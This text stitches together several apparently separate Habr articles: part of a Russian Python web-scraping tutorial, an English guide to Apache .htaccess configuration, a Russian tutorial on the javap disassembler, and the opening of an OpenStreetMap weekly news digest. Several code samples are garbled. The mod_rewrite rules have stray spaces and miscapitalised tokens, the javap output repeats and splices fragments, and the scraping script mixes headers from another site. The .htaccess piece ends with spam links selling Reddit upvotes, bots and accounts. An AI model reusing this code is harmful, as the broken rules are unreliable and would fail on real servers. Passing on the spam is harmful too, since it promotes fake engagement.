Для себя я выделяю два принципа извлечения и анализа данных: frontend, backend.
**Frontend**. В данном случае мы непосредственно получаем информацию из конечного HTML файла, собранного на сервере веб-приложения. У данного способа есть свои плюсы и минусы: мы всегда получаем информацию, которая уже точно загружена на сайт, но теряем производительность, так как иногда нам нужно узнавать об обновлениях сайта как можно быстрее.
**Backend**. В данном случае мы получаем информацию от backend api веб-приложения в формате json или xml. Сразу хочу сказать, что не у всех сайтов возможно получить доступ к api, иногда даже невозможно, если анализировать только сайт и приходится анализировать протокол мобильного приложения. Однако если у нас получается найти способы и точки для обращения к api веб-приложения, то мы получаем структурированную информацию и хорошую производительность нашего скрапера.
Работа с Frontend сайта
-----------------------
Здесь мы работаем с селекторами, чтобы получить нужные нам элементы. Для этого для начала нам нужно подключить библиотеку requests и сделать запрос. Отдельное внимание стоит уделить headers, т.к. с их помощью сервер анализирует запрос и возвращает вам результат в зависимости от того, что было в них указано, настоятельно рекомендую найти информацию про стандартные хэддеры и их значения. Для примеря я выбрал сайт: Kith
```
import requests
headers = {
'authority': 'www.kith.com',
'cache-control': 'max-age=0',
'upgrade-insecure-requests': '1',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36',
'sec-fetch-dest': 'document',
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'sec-fetch-site': 'same-origin',
'sec-fetch-mode': 'navigate',
'sec-fetch-user': '?1',
'accept-language': 'en-US,en;q=0.9',
}
session = requests.session()
response = session.get("https://kith.com/collections/mens-footwear", headers=headers)
if response.status_code == 200:
print("Success")
else:
print("Bad result")
```
Далее нам необходимо забрать элементы. С помощью инструментов разработчика(Ctrl+Shift+I) мы можем посмотреть селекторы элементов, который нас интересуют.
И выведем интересующие нас параметры: название, цена, ссылка на продукт.
```
soup = BeautifulSoup(response.text, 'html.parser')
for element in soup.find_all('li', class_='collection-product'):
name = element.find('h1', class_="product-card__title").text.strip()
price = element.find('span', class_="product-card__price").text.strip()
link = "https://kith.com/" + element.find('a').get('href')
```
Для удобного взаимодействия с продуктами создадим класс
```
class Prodcut:
name = str
price = str
link = str
def __init__(self, name, price, link):
self.name = name
self.price = price
self.link = link
def __repr__(self):
return str(self.__dict__)
```
Теперь наш скрипт готов, остаётся его выполнить и вывести результат
```
import requests
from bs4 import BeautifulSoup
class Prodcut:
name = str
price = str
link = str
def __init__(self, name, price, link):
self.name = name
self.price = price
self.link = link
def __repr__(self):
return str(self.__dict__)
headers = {
'authority': 'www.yeezysupply.com',
'cache-control': 'max-age=0',
'upgrade-insecure-requests': '1',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36',
'sec-fetch-dest': 'document',
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'sec-fetch-site': 'same-origin',
'sec-fetch-mode': 'navigate',
'sec-fetch-user': '?1',
'accept-language': 'en-US,en;q=0.9',
}
session = requests.session()
response = session.get('https://kith.com/collections/mens-footwear', headers=headers)
soup = BeautifulSoup(response.text, 'html.parser')
for element in soup.find_all('li', class_='collection-product'):
name = element.find('h1', class_="product-card__title").text.strip()
price = element.find('span', class_="product-card__price").text.strip()
link = "https://kith.com/" + element.find('a').get('href')
prodcut = Prodcut(name, price, link)
print(prodcut.__repr__())
```
Заключение
----------
Мы рассмотрели основные технологии и принципы, с которыми нам предстоит познакомиться в следующих частях. Рекомендую самостоятельно попробовать выполнить задачи с перечисленными библиотеками, а также буду рад выслушать ваши предпочтения по поводу сайта, который будет выбран в качестве примера. Далее мы разберём как искать точки backend api и взаимодействовать с ними. | https://habr.com/ru/post/488720/ | null | ru | null |
# Configuration file htaccess
Let’s begin from a far distance with the goal that the novices can see how the file described in the article works. To work the website on the Internet, you need not just a PC and access to the network, yet additionally, extraordinary programming introduced on it, which gives access to information utilizing the HTTP and HTTPS conventions. This product is the web server. There are different sorts of web servers, however, the most widely recognized is Apache. It is based on the open-source code, free, is continually being improved and enhanced, compatible with many scripts, and works on almost all platforms, including Windows, Linux, Netware 5.x.
Apache is arranged by means of design documents that are put away in content organization. With their assistance, you can set explicit standards of activity of the web server. The principle design record is called httpd.conf or apache.conf (contingent upon the OS conveyance). Much of the time, all server setups can be determined here, and essentially this technique is best in light of the fact that:
reduces the response time of the web server when mentioned (so every time the web server is gotten to, Apache won't peruse all catalogues for .htaccess); a few orders, for instance, mod\_rewrite module orders, in numerous regards, work better from the principle design record.
Be that as it may, not all clients of the server may approach this document (for instance, on account of shared facilitating), so the rest is offered an extra web server arrangement record — .htaccess (with a dab toward the start of the name).
#### Table of contents
1. What does .htaccess stand for
2. How to create a .htaccess file
3. .htaccess syntax
4. .htaccess opportunities
5. Access control
6. Working with web-server errors
7. Adjusting redirect 301 in htaccess
8. mod rewrite redirecting module
9. Defining encoding
10. Other opportunities
11. If .htaccess does not work
12. A few more several tips on working with .htaccess
13. Useful links
What is .htaccess and what is it for?
-------------------------------------
The file (or files) .htaccess will set the rules for the web server only in the directory where it is located and its child directories, without global changes in the operation of the entire server. The ability to use .htaccess is prescribed by a directive (i.e., a command) — AllowOverride — in the main configuration file httpd.conf, the name of which directly indicates that the settings inside .htaccess take priority over the settings in httpd.conf (unless otherwise limited by all same directive AllowOverride). With this directive, you can allow everything, and you can — just some actions. Detailed instructions for its use can be found on the Apache website.
With it, each time a web server is accessed, Apache will scan all directories for .htaccess. Changes in the file are valid immediately after saving — the restart of the entire web server is not needed (unlike changes in httpd.conf).
The name of the .htaccess file is common, but not at all mandatory. You can set a different name in httpd.conf using the AccessFileName directive, for example:
AccessFileName .config
### How to create a .htaccess file
As already mentioned, the configuration files have a text format, and you can also create .htaccess using a text editor (for example, Notepad or NotePad ++ in Windows).
The file name is .htaccess (with a dot at the beginning);
type — “All files”;
word wrap;
ASCII mode (when uploading .htaccess to a hosting using an FTP protocol).
Apache is a case-sensitive web server, so it is important to write the name in small letters: .HTaccess and .htaccess are different files.
Mac OS files starting with a dot are invisible. Therefore, you can call it differently and after, transferring via FTP to the hosting, rename it. Usually they place the file in the root directory of the web server (/ public\_html) or in the root directory of the site (/public\_html/site.com/).
### .htaccess syntax
The .htaccess syntax is similar to the httpd syntax. For each directive, a separate line is assumed. For your own convenience, you can add comments to the file using the # sign, and the value after # will be ignored by the web server. This trick can be used to disable any directive. It does not need to be removed completely from the file — just comment it out.
The possibilities of the configuration file are enormous. Below are the basic settings in .htaccess.
.htaccess opportunities
-----------------------
### Access control
Web access ban:
Order Deny, Allow
Deny from all
Web access ban, except for IP:
```
order deny, allow
deny from all
allow from xxx.xxx.xxx.xxx
```
Web access ban for IP:
```
Order allow, deny
Allow from all
Deny from xxx.xxx.xxx.xxx
```
File access ban:
```
Order allow, deny
Deny from all
```
Directory security with the password:
```
AuthType Basic
AuthName "Directory Name"
AuthUserFile /home/cpanel_user/.htpasswds/public_html/smth/passwd
require valid-user
# where AuthName "Directory Name is the secured directory name, аnd
# /home/cpanel_user/.htpasswds/public_html/smth/passwd is the file location with the password.
```
### Working with the web-server errors
Sometimes, instead of the expected page, a visitor may encounter a web server response in the form of an error with a concise, but not always clear for a simple user, explanation of the reason. A complete list of status codes can be found on Wikipedia. For the most common (for example, 404 or 500 errors), it is desirable to create your own page that looks better and presents the exit route to the visitor. It is set as follows:
ErrorDocument 404 [yourdomain.com/error/404.html](http://yourdomain.com/error/404.html)
# where [yourdomain.com/error/404.html](http://yourdomain.com/error/404.html) is the path to the created page.
### Adjusting the redirect 301 in htaccess
To create a permanent redirect, the directive 301 redirect is used, which transfers the entire weight of the page to a new url (therefore, it is preferable to a 302 redirect for SEO purposes).
Redirecting the entire site to a new domain:
```
Redirect 301 / http://www.newdomain.com/
```
Redirect page to new:
```
Redirect 301 /page1.html http://mydomain.com/page2.html
```
### Mod rewrite redirect module
The mod\_rewrite module is an indispensable mechanism for changing URLs “on the fly”. Its utility, and at the same time, the difficulty lies in the fact that you can use a myriad of rules that include even more variables.
For the module to work, first of all we need directives
RewriteEngine On (includes the conversion engine)
Options FollowSymLinks (mod\_rewrite operation condition).
If the server administrator has disabled this option for the user directory, then the conversion mechanism cannot be used. This restriction is imposed on virtual hosting servers for security purposes.
For further acquaintance with the module we recommend to refer to the source.
### RewriteRule
One of the most functional directives of the mod\_rewrite module is the RewriteRule. To specify the condition under which the rule will work, the RewriteCond directive is used. It (one or more) must be prescribed before the RewriteRule.
Redirect page to new domain:
```
RewriteRule ^ page1 \ .html $ http://newdomain.com/ [R = 301]
```
Redirecting a site from a domain without www to a domain from www:
```
RewriteEngine On
RewriteCond% {HTTP_HOST}! ^ Www \ .. * [NC]
RewriteRule ^ (. *) Http: //www.% {HTTP_HOST} / $ 1 [R = 301]
```
And vice versa:
```
RewriteCond% {HTTP_HOST} ^ www \. (. *) $ [NC]
RewriteRule ^ (. *) $ Http: //% 1 / $ 1 [R = 301, L]
```
HTTPS redirection (you must first install an HTTPS certificate):
```
RewriteEngine On
RewriteCond% {https}! On
RewriteRule (. *) Https: //% {HTTP_HOST}% {REQUEST_URI} [R = 301, L]
```
These lines must be placed at the very top of .htaccess.
### Defining the encoding
The symbol table in which to open the site is determined by the browser. However, you can set the default encoding:
```
AddDefaultCharset UTF-8
```
Such a change applies within .htaccess and to all pages of the site. You can set the encoding for a specific type of file, for example windows-1251 for html:
```
AddType "application / x-httpd-php3; charset = windows-1251" .html
```
Often the page itself carries in itself (namely in the title) information about the encoding used. It is necessary to check that the specified encoding in the document and in the configuration file matches. The utf-8 given here is almost always required when working with popular cms, since they are designed for a wide range of users around the world. By the way, by default, the same encoding is configured on our shared hosting servers.
### Other opportunities
— Determine the site index file:
By default, the index page is considered index.html. With the help of the following directive, you can specify another file name that comes off first when accessing the directory:
DirectoryIndex index.php
— A useful directive is FilesMatch, which specifies the limits of the rule by file name using regular expressions. With its help, for example, you can deny access to certain files:
```
Order Allow, Deny
Deny from all
```
There are some directives that are not supported on our shared hosting servers, but you can allow them on your VPS, for example.
The reason is that the web server running as suPHP does not support php\_flag and php\_value. Therefore, we suggest using cPanel (the subsection “Choosing a PHP Version” subsection is extremely useful, to work with error\_log — “Error Log”) or to create a local php.ini file for this purpose. We did bring a couple of directives below:
— In order to avoid a web server freeze when processing incorrectly written scripts, there is max\_execution\_time. With its help, the time in seconds allocated for processing the PHP script is indicated. You can increase the timeout of the web server when executing the script:
```
php_value max_execution_time 60
```
— Determine the maximum upload file size:
```
php_value upload_max_filesize 128M (here, instead of 128, put the desired value)
```
— Print PHP errors into a separate file:
```
php_flag log_errors on
php_value error_log /home/path/to/public_html/domain/PHP_errors.log
# PHP_errors.log is the name of the file, and
# / home / path / to / public_html / domain - the path to it).
```
P.S. On a shared hosting, it is difficult to accurately determine which directives will work in .htaccess, because many of those that lead to a web server configuration change are prohibited for obvious reasons — these changes will affect all users on the media.
### If .htaccess does not work
You can check the file operation by writing simple directives that, with the correct syntax and correct httpd settings (as described at the beginning of the article) should work:
— for example, by denying access to the site from the outside using a directive
```
Order deny, allow
Deny from all
```
— or writing to the file a set of meaningless characters that are not directives. If the web server interacts with htaccess, then, of course, it will not be able to read them and give 500 error.
If the problem really exists, you must first look for the cause in the main configuration file:
— make sure that the server allows the use of the .htaccess file: there is an AllowOverride All entry (and it is not commented out using #);
— verify that a VirtualHost entry has been created for the domain. As an example:
```
DocumentRoot / www / example1
ServerName www.example.com
# Other directives
```
— the name of the additional configuration file is indicated as you need. If it is .htaccess, then:
```
AccessFileName .htaccess
```
— the hostname of the server is present (specified when creating URL redirects) as the IP address of the server or domain:
```
ServerName www.example.com
```
If the reason is not in httpd, you need to check .htaccess itself for syntax errors. You can use online services (for example, [www.htaccesscheck.com](http://www.htaccesscheck.com/), [htaccess.madewithlove.be](http://htaccess.madewithlove.be/)), or — the original source, where there is a complete list of directives, along with the syntax.
### A few more several tips on working with .htaccess
It is highly desirable to make a backup copy of the file before any editing, so that at the worst outcome you can “roll back” the changes back.
We recommend making changes step by step, using a minimum of directives — and in case of failure it will be easier to calculate which rule caused the error.
Although the changes take effect immediately, the browser’s cache hasn’t been canceled — to check the work of the site after editing .htaccess, use it to clean it regularly or load the page to bypass the cache — via the key combination Ctrl + F5 (in Safari: Ctrl + R, on Mac OS: Cmd + R).
The most common web server error when working with .htaccess is 500, and either it indicates a problem in the syntax (typo in a directive, for example), or this type of directive is not allowed in the main configuration file.
### Useful links
[Inspiration for working with .htaccess](http://httpd.apache.org/docs/2.2/howto/htaccess.html):
[httpd.apache.org/docs/2.2/howto/htaccess.html](http://httpd.apache.org/docs/2.2/howto/htaccess.html)
[Many instructions for working with .htacess](http://htaccess.net.ru/):
[htaccess.net.ru](http://htaccess.net.ru/)
[Blogging platform for programmers](http://writeabout.tech):
[writeabout.tech](http://writeabout.tech)
[Simple directive generator for .htaccess](http://htaccess.ru/generator/):
[htaccess.ru/generator](http://htaccess.ru/generator/)
In case .htaccess file is not enough for you to make changes in the web server configuration file, you can rent an allocated server in Europe or the USA. These servers can provide you with an opportunity to make changes in the Apache’s settings.
Buy reddit upvotes — [reddit-marketing.pro](http://reddit-marketing.pro)
[Reddit upvoting bot](https://reddit-marketing.pro/reddit-online-bot/)
[Buy Reddit Accounts](https://reddit-marketing.pro/buy-reddit-accounts/)
[Buy Medium Claps](https://reddit-marketing.pro/buy-medium-claps/)
[Buy Quora Upvotes](https://reddit-marketing.pro/quora-upvotes-accounts/)
[Buy Linkedin connections](https://reddit-marketing.pro/buy-linkedin-services/) | https://habr.com/ru/post/460459/ | null | en | null |
# Пример использования Java утилиты javap
JDK поставляется с рядом полезных утилит, размещенных в каталоге инструментов bin. Для тех, кто хочет декомпилировать байт-код, особый интерес *представляет* Java утилита *javap*.
Утилита командной строки *javap,* также известный как дизассемблер файлов классов Java, выводит соответствующую информацию о любом скомпилированном классе Java, который его просят проверить. По умолчанию он просто выводит имена всех неприватных методов и переменных, объявленных в классе:
```
C:\_tools\java8\javap example\bin>javap com.mcnz.javap.example.CommandTutorial
Compiled from "CommandTutorial.java"
public class com.mcnz.javap.example.CommandTutorial extends java.util.ArrayList {
protected static java.lang.String foo;
public java.lang.String bar;
public com.mcnz.javap.example.CommandTutorial();
void doStuff();
public static void main(java.lang.String[]);
public void useInnerType();
}
```
#### Дизассемблер файла класса javap
По общему признанию, приведенный выше неинтересный вывод генерируется утилитой *javap* для проверки байт-кода, сгенерированного при компиляции класса *CommandTutorial* ниже. Обратите внимание на то, что в классе есть множество переменных и методов с множеством модификаторов доступа. По умолчанию JDK утилита *javap* выводит информацию только о полях, не являющихся private, хотя флаг *-private* позволяет предоставить информацию о private элементах.
```
package com.mcnz.javap.example;
import java.util.ArrayList;
public class CommandTutorial extends ArrayList {
private static final long serialVersionUID = 1L;
protected static String foo;
public String bar;
void doStuff() { }
private String doStringStuff() { return null; }
public static void main(String args[]) {
class InnerClass {
public String stringStuff() {return "";};
}
}
interface InnerType { public void singleMethod(); };
public void useInnerType() {
InnerType innerTypeImpl = () -> System.out.println("javap example!");
}
}
```
#### Популярные параметры команды javap
Вывод утилиты *javap* по *умолчанию* не особенно *интересен*. Однако есть множество флагов, которые можно использовать для вывода значительно более интересной информации. Популярные параметры и флаги команды *javap* включают:
* ***-l*** распечатает таблицы локальных переменных для класса
* ***-s*** будет печатать внутренние типы сигнатуры класса
* ***-sysinfo*** отобразит дату последнего обновления, хеш MD5, путь и информацию о размере класса
* ***-verbose*** выводит обширную информацию о размере стека, количестве аргументов и локальных переменных для методов, а также большой объем информации о структуре класса.
* ***-c*** заставляет утилиту javap распечатать инструкции байт-кода Java, эффективно дизассемблируя класс
У утилиты javap есть несколько опций.
Команда javap с ключом sysinfo показывает хэш и информацию о последнем обновлении.
#### Как использовать команду javap
Большинство пользователей утилиты *javap* заинтересованы в декомпиляции класса и просмотре дизассемблированного байт-кода. Вот как использовать утилиту *javap* для просмотра байт-кода инструкций:
1. Убедитесь, что утилита *javap* находятся по пути в переменной PATH операционной системы.
2. Убедитесь, что класс для проверки *javap* скомпилирован
3. Введите команду *javap* с параметром -c вместе с именем класса
4. Просмотрите байт-код инструкций декомпилированного класса
#### Декомпилированный Java байт-код
Вот результат декомпиляции вышеуказанного класса с помощью инструмента Java javap.
```
C:\_tools\java8\javap example\bin> javap -verbose com.mcnz.javap.example.CommandTutorial
Classfile /C:/_tools/java8/javap example/bin/com/mcnz/javap/example/CommandTutorial.class
Last modified Nov 25, 2021; size 1864 bytes
MD5 checksum f1239fdfb14b9d5874f157242d884ea7
Compiled from "CommandTutorial.java"
public class com.mcnz.javap.example.CommandTutorial extends java.util.ArrayList
minor version: 0
major version: 55
flags: (0x0021) ACC\_PUBLIC, ACC\_SUPER
this\_class: #1 // com/mcnz/javap/example/CommandTutorial
super\_class: #3 // java/util/ArrayList
interfaces: 0, fields: 3, methods: 6, attributes: 5
Constant pool:
#1 = Class #2 // com/mcnz/javap/example/CommandTutorial
#2 = Utf8 com/mcnz/javap/example/CommandTutorial
#3 = Class #4 // java/util/ArrayList
#4 = Utf8 java/util/ArrayList
#5 = Utf8 serialVersionUID
#6 = Utf8 J
#7 = Utf8 ConstantValue
#8 = Long 1l
#10 = Utf8 foo
#11 = Utf8 Ljava/lang/String;
#12 = Utf8 bar
#13 = Utf8
#14 = Utf8 ()V
#15 = Utf8 Code
#16 = Methodref #3.#17 // java/util/ArrayList."":()V
#17 = NameAndType #13:#14 // "":()V
#18 = Utf8 LineNumberTable
#19 = Utf8 LocalVariableTable
#20 = Utf8 this
#21 = Utf8 Lcom/mcnz/javap/example/CommandTutorial;
#22 = Utf8 doStuff
#23 = Utf8 doStringStuff
#24 = Utf8 ()Ljava/lang/String;
#25 = Utf8 main
#26 = Utf8 ([Ljava/lang/String;)V
#27 = Utf8 args
#28 = Utf8 [Ljava/lang/String;
#29 = Utf8 useInnerType
#30 = InvokeDynamic #0:#31 // #0:singleMethod:()Lcom/mcnz/javap/example/CommandTutorial$InnerType;
#31 = NameAndType #32:#33 // singleMethod:()Lcom/mcnz/javap/example/CommandTutorial$InnerType;
#32 = Utf8 singleMethod
#33 = Utf8 ()Lcom/mcnz/javap/example/CommandTutorial$InnerType;
#34 = Utf8 innerTypeImpl
#35 = Utf8 Lcom/mcnz/javap/example/CommandTutorial$InnerType;
#36 = Utf8 lambda$0
#37 = Fieldref #38.#40 // java/lang/System.out:Ljava/io/PrintStream;
#38 = Class #39 // java/lang/System
#39 = Utf8 java/lang/System
#40 = NameAndType #41:#42 // out:Ljava/io/PrintStream;
#41 = Utf8 out
#42 = Utf8 Ljava/io/PrintStream;
#43 = String #44 // javap example!
#44 = Utf8 javap example!
#45 = Methodref #46.#48 // java/io/PrintStream.println:(Ljava/lang/String;)V
#46 = Class #47 // java/io/PrintStream
#47 = Utf8 java/io/PrintStream
#48 = NameAndType #49:#50 // println:(Ljava/lang/String;)V
#49 = Utf8 println
#50 = Utf8 (Ljava/lang/String;)V
#51 = Utf8 SourceFile
#52 = Utf8 CommandTutorial.java
#53 = Utf8 Signature
#54 = Utf8 Ljava/util/ArrayList;
#55 = Utf8 BootstrapMethods
#56 = Methodref #57.#59 // java/lang/invoke/LambdaMetafactory.metafactory:(Ljava/lang/invoke/MethodHandles$Lookup;Ljava/lang/String;Ljava/lang/invoke/MethodType;Ljav
a/lang/invoke/MethodType;Ljava/lang/invoke/MethodHandle;Ljava/lang/invoke/MethodType;)Ljava/lang/invoke/CallSite;
#57 = Class #58 // java/lang/invoke/LambdaMetafactory
#58 = Utf8 java/lang/invoke/LambdaMetafactory
#59 = NameAndType #60:#61 // metafactory:(Ljava/lang/invoke/MethodHandles$Lookup;Ljava/lang/String;Ljava/lang/invoke/MethodType;Ljava/lang/invoke/MethodType;Ljava/lang
/invoke/MethodHandle;Ljava/lang/invoke/MethodType;)Ljava/lang/invoke/CallSite;
#60 = Utf8 metafactory
#61 = Utf8 (Ljava/lang/invoke/MethodHandles$Lookup;Ljava/lang/String;Ljava/lang/invoke/MethodType;Ljava/lang/invoke/MethodType;Ljava/lang/invoke/MethodHandle;Ljava/lan
g/invoke/MethodType;)Ljava/lang/invoke/CallSite;
#62 = MethodHandle 6:#56 // REF\_invokeStatic java/lang/invoke/LambdaMetafactory.metafactory:(Ljava/lang/invoke/MethodHandles$Lookup;Ljava/lang/String;Ljava/lang/invok
e/MethodType;Ljava/lang/invoke/MethodType;Ljava/lang/invoke/MethodHandle;Ljava/lang/invoke/MethodType;)Ljava/lang/invoke/CallSite;
#63 = MethodType #14 // ()V
#64 = Methodref #1.#65 // com/mcnz/javap/example/CommandTutorial.lambda$0:()V
#65 = NameAndType #36:#14 // lambda$0:()V
#66 = MethodHandle 6:#64 // REF\_invokeStatic com/mcnz/javap/example/CommandTutorial.lambda$0:()V
#67 = MethodType #14 // ()V
#68 = Utf8 InnerClasses
#69 = Class #70 // com/mcnz/javap/example/CommandTutorial$1InnerClass
#70 = Utf8 com/mcnz/javap/example/CommandTutorial$1InnerClass
#71 = Utf8 InnerClass
#72 = Class #73 // com/mcnz/javap/example/CommandTutorial$InnerType
#73 = Utf8 com/mcnz/javap/example/CommandTutorial$InnerType
#74 = Utf8 InnerType
#75 = Class #76 // java/lang/invoke/MethodHandles$Lookup
#76 = Utf8 java/lang/invoke/MethodHandles$Lookup
#77 = Class #78 // java/lang/invoke/MethodHandles
#78 = Utf8 java/lang/invoke/MethodHandles
#79 = Utf8 Lookup
#80 = Utf8 NestMembers
{
protected static java.lang.String foo;
descriptor: Ljava/lang/String;
flags: (0x000c) ACC\_PROTECTED, ACC\_STATIC
public java.lang.String bar;
descriptor: Ljava/lang/String;
flags: (0x0001) ACC\_PUBLIC
public com.mcnz.javap.example.CommandTutorial();
descriptor: ()V
flags: (0x0001) ACC\_PUBLIC
Code:
stack=1, locals=1, args\_size=1
0: aload\_0
1: invokespecial #16 // Method java/util/ArrayList."":()V
4: return
LineNumberTable:
line 5: 0
LocalVariableTable:
Start Length Slot Name Signature
0 5 0 this Lcom/mcnz/javap/example/CommandTutorial;
void doStuff();
descriptor: ()V
flags: (0x0000)
Code:
stack=0, locals=1, args\_size=1
0: return
LineNumberTable:
line 11: 0
LocalVariableTable:
Start Length Slot Name Signature
0 1 0 this Lcom/mcnz/javap/example/CommandTutorial;
public static void main(java.lang.String[]);
descriptor: ([Ljava/lang/String;)V
flags: (0x0009) ACC\_PUBLIC, ACC\_STATIC
Code:
stack=0, locals=1, args\_size=1
0: return
LineNumberTable:
line 19: 0
LocalVariableTable:
Start Length Slot Name Signature
0 1 0 args [Ljava/lang/String;
public void useInnerType();
descriptor: ()V
flags: (0x0001) ACC\_PUBLIC
Code:
stack=1, locals=2, args\_size=1
0: invokedynamic #30, 0 // InvokeDynamic #0:singleMethod:()Lcom/mcnz/javap/example/CommandTutorial$InnerType;
5: astore\_1
6: return
LineNumberTable:
line 26: 0
line 27: 6
LocalVariableTable:
Start Length Slot Name Signature
0 7 0 this Lcom/mcnz/javap/example/CommandTutorial;
6 1 1 innerTypeImpl Lcom/mcnz/javap/example/CommandTutorial$InnerType;
}
SourceFile: "CommandTutorial.java"
Signature: #54 // Ljava/util/ArrayList;
BootstrapMethods:
0: #62 REF\_invokeStatic java/lang/invoke/LambdaMetafactory.metafactory:(Ljava/lang/invoke/MethodHandles$Lookup;Ljava/lang/String;Ljava/lang/invoke/MethodType;Ljava/lang/invoke/Metho
stack=0, locals=1, args\_size=1
0: return
LineNumberTable:
Start Length Slot Name Signature
0 1 0 args [Ljava/lang/String;
public void useInnerType();
descriptor: ()V
flags: (0x0001) ACC\_PUBLIC
Code:
stack=1, locals=2, args\_size=1
0: invokedynamic #30, 0 // InvokeDynamic #0:singleMethod:()Lcom/mcnz/javap/example/CommandTutorial$InnerType;
5: astore\_1
6: return
LineNumberTable:
line 26: 0
line 27: 6
LocalVariableTable:
Start Length Slot Name Signature
0 7 0 this Lcom/mcnz/javap/example/CommandTutorial;
6 1 1 innerTypeImpl Lcom/mcnz/javap/example/CommandTutorial$InnerType;
}
SourceFile: "CommandTutorial.java"
Signature: #54 // Ljava/util/ArrayList;
BootstrapMethods:
0: #62 REF\_invokeStatic java/lang/invoke/LambdaMetafactory.metafactory:(Ljava/lang/invoke/MethodHandles$Lookup;Ljava/lang/String;Ljava/lang/invoke/MethodType;Ljava/lang/invoke/Metho
dType;Ljava/lang/invoke/MethodHandle;Ljava/lang/invoke/MethodType;)Ljava/lang/invoke/CallSite;
Method arguments:
#63 ()V
line 19: 0
LocalVariableTable:
Start Length Slot Name Signature
0 1 0 args [Ljava/lang/String;
public void useInnerType();
descriptor: ()V
flags: (0x0001) ACC\_PUBLIC
Code:
stack=1, locals=2, args\_size=1
0: invokedynamic #30, 0 // InvokeDynamic #0:singleMethod:()Lcom/mcnz/javap/example/CommandTutorial$InnerType;
5: astore\_1
6: return
LineNumberTable:
line 26: 0
line 27: 6
LocalVariableTable:
Start Length Slot Name Signature
0 7 0 this Lcom/mcnz/javap/example/CommandTutorial;
6 1 1 innerTypeImpl Lcom/mcnz/javap/example/CommandTutorial$InnerType;
}
SourceFile: "CommandTutorial.java"
Signature: #54 // Ljava/util/ArrayList;
BootstrapMethods:
0: #62 REF\_invokeStatic java/lang/invoke/LambdaMetafactory.metafactory:(Ljava/lang/invoke/MethodHandles$Lookup;Ljava/lang/String;Ljava/lang
/invoke/MethodType;Ljava/lang/invoke/MethodType;Ljava/lang/invoke/MethodHandle;Ljava/lang/invoke/MethodType;)Ljava/lang/invoke/CallSite;
Method arguments:
#63 ()V
#66 REF\_invokeStatic com/mcnz/javap/example/CommandTutorial.lambda$0:()V
#67 ()V
InnerClasses:
#71= #69; // InnerClass=class com/mcnz/javap/example/CommandTutorial$1InnerClass
static #74= #72 of #1; // InnerType=class com/mcnz/javap/example/CommandTutorial$InnerType of class com/mcnz/javap/example
/CommandTutorial
public static final #79= #75 of #77; // Lookup=class java/lang/invoke/MethodHandles$Lookup of class java/lang/invoke/MethodHandles
NestMembers:
com/mcnz/javap/example/CommandTutorial$1InnerClass
com/mcnz/javap/example/CommandTutorial$InnerType
C:\\_tools\java8\javap example\bin>javap -c com.mcnz.javap.example.CommandTutorial
Compiled from "CommandTutorial.java"
public class com.mcnz.javap.example.CommandTutorial extends java.util.ArrayList {
protected static java.lang.String foo;
public java.lang.String bar;
public com.mcnz.javap.example.CommandTutorial();
Code:
0: aload\_0
1: invokespecial #16 // Method java/util/ArrayList."":()V
4: return
void doStuff();
Code:
0: return
public static void main(java.lang.String[]);
Code:
0: return
public void useInnerType();
Code:
0: invokedynamic #30, 0 // InvokeDynamic #0:singleMethod:()Lcom/mcnz/javap/example/CommandTutorial$InnerType;
5: astore\_1
6: return
}
```
Результаты выполнения команды *javap* являются подробными и обширными. Для тех, кому интересно взглянуть на некоторые внутренние *механизмы* скомпилированного байт-кода Java, утилита *javap* - это правильная команда. | https://habr.com/ru/post/592161/ | null | ru | null |
# Новости из мира OpenStreetMap № 466 (18.06.2019-24.06.2019)
Места в Москве, которые связаны с террором во время СССР [1](#wn466_20339) | NextGIS | Map data OpenStreetMap contributors, ODbL
Картографирование
-----------------
* В австрийской провинции Тироль в период летних каникул, а также во время длинных выходных, нередко увеличивается интенсивность дорожного движения. В итоге это приводит к тому, что автомобилисты, которые едут в Италию или Германию, пытаясь объехать пробки, устраивают их на местных дорогах. Сейчас местные власти [пытаются](https://tirol.orf.at/stories/3001188/) предотвратить это путем запрета транзитного движения по местным дорогам до 14 сентября. Информация об этом была передана производителям навигационного оборудования через Министерство внутренних дел. Поэтому Рейнер Фюгенштейн в австрийском списке рассылки «Общение» [просит](https://lists.openstreetmap.org/pipermail/talk-at/2019-June/009940.html) сообщество OSM обратить на это внимание и внести соответствующие правки.
* Майкл Бренднер [предлагает](https://lists.openstreetmap.org/pipermail/tagging/2019-June/046186.html) ввести новый тег — `amenity=power_supply`, которым можно было бы отмечать места, где возможен доступ (платный или бесплатный) к электрической розетке. Помимо этого его предложение включает в себя [подтеги](https://wiki.openstreetmap.org/wiki/Proposed_features/amenity%3Dpower_supply), уточняющие разные нюансы: тип розетки, оплата, оператор, мощность и многое другое. (Обсуждение в [Nabble](http://gis.19327.n8.nabble.com/Idea-for-a-new-tag-amenity-power-supply-tt5942164.html))
* Австралийский картограф непосредственно изучил берега реки [Гвидир](https://en.wikipedia.org/wiki/Gwydir_River), которую он ранее внес в OSM удаленно, полагаясь только на официальные источники, и [обнаружил](https://lists.openstreetmap.org/pipermail/talk-au/2019-June/012740.html), что в некоторых местах она пересохла. После общения с местными жителями он пришел к выводу, что это случилось из-за того, что эта река интенсивно использовалась для орошения. Поэтому он предлагает удалить большую часть Гвидира. Размышляя о том, почему эта река в официальных документах до сих пор значится как полноводная, он предполагает, что это обусловлено политическими мотивами и волей правительства.
* Ричард Фэрхерст [рассказывает](https://www.openstreetmap.org/user/Richard/diary/389711) о новых возможностях онлайн-редактора Potlatch-2. Теперь картографирование маршрутов может стать заметно проще, так как определенные отношения возможно назначать функциональным клавишам. Также он в комментариях делится несколькими советами о том, как могут быть использованы функциональные клавиши, например, для добавления групп тегов.
* Пользователь WoodWoseWulf в своем дневнике достаточно [подробно](https://www.openstreetmap.org/user/WoodWoseWulf/diary/382394) рассказывает о мире игры Pokenom Go от Niantic c точки зрения OSM. Он делится терминами этой игры, показывает, как на механику игры влияют данные OSM, приводит классификацию вандалов-покемощников и объясняет их мотивацию, а также показывает разные способы манипуляции данных OSM в игровых целях.
Сообщество
----------
